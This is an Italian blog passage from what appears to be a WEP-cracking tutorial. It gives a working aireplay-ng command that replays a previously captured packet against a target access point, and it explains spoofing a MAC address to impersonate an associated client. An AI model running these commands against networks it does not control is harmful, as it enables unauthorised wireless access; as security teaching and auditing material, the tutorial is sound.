Un’ altra variabile di questo attacco é quella di usare un pacchetto catturato in un’altra sessione. Dovete aver catturato il pacchetto intero, non solo l’IV.

Questo é il comando:

aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 -r capture-01.cap ath0

Dove "-r capture-01.cap" è il pacchetto catturato in una precedente sessione.

Utilizzare un altro indirizzo MAC

Questa guida ipotizza che abbiate utilizzato l’indirizzo fisico originale della vostra scheda di rete wireless. Se questo non è il vostro caso allora avete bisogno di modificare le impostazioni che fin’ora vi abbiamo dato. Dato che si tratta di una procedura avanzata,  forniremo le linee guida generali senza entrare nello specifico.

Sarebbe meglio se cambiaste l’indirizzo fisico ( il MAC appunto ) della
vostra scheda di rete wireless nell’indirizzo MAC che andrete a spoofare. Questo potrebbe essere l’indirizzo MAC di un client già associato con l’AP oppure uno che preparerete ad hoc. Guardate questa
FAQ per sapere come cambiare il MAC della vostra scheda wireless.

State attenti poiché in alcuni chipset come l’RT2570 non permettono di modificare l’indirizzo MAC della vostra scheda e inchiodano il sistema. In questo caso, utilizzate l’opzione ”-h” in aireplay-ng e packetforge-ng per sostituire l’indirizzo MAC
originale con quello che desiderate in ciascuno dei passaggi della guida.

  1. Nessun commento ancora.

I commenti sono stati disattivati.